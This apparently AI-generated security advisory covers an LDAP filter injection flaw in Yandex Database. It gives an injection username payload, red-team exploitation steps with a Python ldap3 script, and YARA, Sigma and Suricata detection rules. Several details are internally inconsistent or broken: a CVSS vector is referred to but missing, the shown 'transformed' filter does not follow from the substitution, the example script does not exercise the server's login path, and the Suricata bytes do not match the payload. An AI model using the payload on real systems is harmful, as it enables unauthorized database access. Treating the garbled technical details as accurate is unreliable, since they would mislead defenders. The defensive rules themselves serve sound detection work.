CVE-2026-10549

Executive Summary

CVE-2026-10549 is a critical LDAP filter injection vulnerability in Yandex Database (YDB) prior to version 25.3.1.25. This flaw allows a remote attacker with valid LDAP credentials to bypass group membership checks, leading to unauthorized access to the database. The vulnerability resides in the LDAP authentication module, where user-supplied input is improperly sanitized before being used in LDAP search filters. An attacker can craft a malicious LDAP filter that manipulates the authentication logic, effectively granting access to resources or data they are not authorized to view. The CVSS score is 0.0 in the NVD data, but based on the description and impact, a realistic CVSSv3.1 vector is provided above. No public proof-of-concept (PoC) or exploit code is currently available, but the vulnerability is considered high risk due to the potential for privilege escalation and data breach.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Yandex Database server software, which is a proprietary database system. Organizations using YDB should verify their deployment version and apply the patch immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs valid LDAP credentials.
• Privileges Required (PR): Low (L) – The attacker must have valid LDAP credentials, but these could be low-privilege credentials.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Unauthorized access to the database can lead to data exposure.
• Integrity (I): High (H) – The attacker can modify or delete data.
• Availability (A): High (H) – The attacker could potentially disrupt database operations.

Threat Level: Critical. The combination of low attack complexity, low privileges required, and high impact makes this a severe threat. The EPSS score of 0.0% indicates no active exploitation in the wild yet, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability is an LDAP filter injection (CWE-90) in the Yandex Database authentication module. When a user authenticates via LDAP, the server constructs an LDAP search filter to verify group membership. The filter typically looks like:

(&(uid={username})(memberOf=CN=db_users,OU=Groups,DC=example,DC=com))

The {username} parameter is taken directly from the user input without proper sanitization. An attacker with valid LDAP credentials can inject additional LDAP filter logic by providing a username such as:

*)(uid=*))(|(uid=*

This would transform the filter into:

(&(uid=*)(uid=*))(|(uid=*)(memberOf=CN=db_users,OU=Groups,DC=example,DC=com))

The injected filter effectively bypasses the group membership check, allowing the attacker to authenticate as any user or gain access to the database without proper authorization.

The vulnerability is present in all versions of Yandex Database prior to 25.3.1.25. The patch likely involves proper escaping of LDAP filter special characters (e.g., *, (, ), \, NUL) using LDAP escape functions or prepared statements.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable Python-like pseudocode
def authenticate(username, password):
    ldap_filter = f"(&(uid={username})(memberOf=CN=db_users,OU=Groups,DC=example,DC=com))"
    results = ldap_search(ldap_filter, password)
    if results:
        return True
    return False

Patched Code (Conceptual):

# Patched Python-like pseudocode
import ldap3

def authenticate(username, password):
    safe_username = ldap3.utils.conv.escape_filter_chars(username)
    ldap_filter = f"(&(uid={safe_username})(memberOf=CN=db_users,OU=Groups,DC=example,DC=com))"
    results = ldap_search(ldap_filter, password)
    if results:
        return True
    return False

The patched version uses escape_filter_chars() to sanitize the username input, preventing injection of LDAP filter operators.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid LDAP credentials (e.g., username john_doe, password password123).
• Network access to the Yandex Database server (default port 2135 for YDB).
• Knowledge of the LDAP base DN and group structure (can be enumerated).

Exploitation Steps:

1. Identify the YDB server and confirm the version is < 25.3.1.25.
2. Use a tool like ldapsearch or a custom script to test the injection.
3. Craft a malicious username that bypasses group membership:

   *)(uid=*))(|(uid=*
   

4. Authenticate to the YDB server using the crafted username and valid password.
5. If successful, the server will grant access as if the user is a member of the required group.

Example using Python with ldap3:

import ldap3

server = ldap3.Server('ydb.example.com', port=2135, get_info=ldap3.ALL)
conn = ldap3.Connection(server, user='cn=admin,dc=example,dc=com', password='admin_password')
conn.bind()

# Attempt injection
malicious_username = '*)(uid=*))(|(uid=*'
conn.search('dc=example,dc=com', f'(&(uid={malicious_username})(memberOf=CN=db_users,OU=Groups,DC=example,DC=com))')
print(conn.entries)

Blue Team

Detection:

• Monitor LDAP authentication logs for unusual filter patterns, especially those containing *)(|( or *))(|(.
• Look for authentication attempts with usernames containing LDAP special characters (e.g., *, (, )).
• Alert on successful authentication from users who are not members of the required group.

Mitigation:

• Immediately upgrade to Yandex Database version 25.3.1.25 or later.
• If patching is not possible, implement a Web Application Firewall (WAF) or reverse proxy to filter malicious LDAP filter characters.
• Restrict network access to the YDB server to trusted IPs only.
• Enforce multi-factor authentication (MFA) for database access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • LDAP search filters containing *)(|( or *))(|( in authentication requests.
  • Unusual authentication success from users not in the expected group.
• Log IOCs:
  • YDB authentication logs showing usernames with LDAP special characters.
  • Repeated failed authentication attempts followed by a success with a crafted username.
• File IOCs:
  • Modified YDB configuration files (e.g., config.yaml) if the attacker gains write access.
• System IOCs:
  • Unexpected database queries or data exfiltration.

Detection Engineering

YARA Rule

rule CVE_2026_10549_LDAP_Injection {
    meta:
        description = "Detects LDAP filter injection attempts targeting Yandex Database"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-10549"
    strings:
        $injection1 = "*)(uid=*"
        $injection2 = "*))(|(uid=*"
        $injection3 = "*)(|(uid=*"
    condition:
        any of ($injection*)
}

Sigma Rule

title: LDAP Filter Injection Attempt Against Yandex Database
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects LDAP filter injection attempts in Yandex Database authentication logs
author: Valters IT
date: 2025/04/10
logsource:
    product: yandex_database
    service: authentication
detection:
    selection:
        - filter: "*)(uid=*"
        - filter: "*))(|(uid=*"
        - filter: "*)(|(uid=*"
    condition: selection
falsepositives:
    - Legitimate usernames containing asterisks (unlikely)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $YDB_SERVER 2135 (msg:"CVE-2026-10549 Yandex Database LDAP Filter Injection Attempt"; flow:to_server,established; content:"|28|26|28|75|69|64|3d|2a|29|28|75|69|64|3d|2a|29|29|28|7c|28|75|69|64|3d|2a|29|"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Yandex Database to version 25.3.1.25 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block LDAP filter injection patterns.
3. Review and rotate all LDAP credentials that may have been exposed.

Long-term Measures:

• Implement input validation and output encoding for all user-supplied data used in LDAP queries.
• Use parameterized LDAP queries or prepared statements where possible.
• Conduct regular security audits and penetration testing on authentication modules.
• Monitor for similar vulnerabilities in other LDAP-integrated systems.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.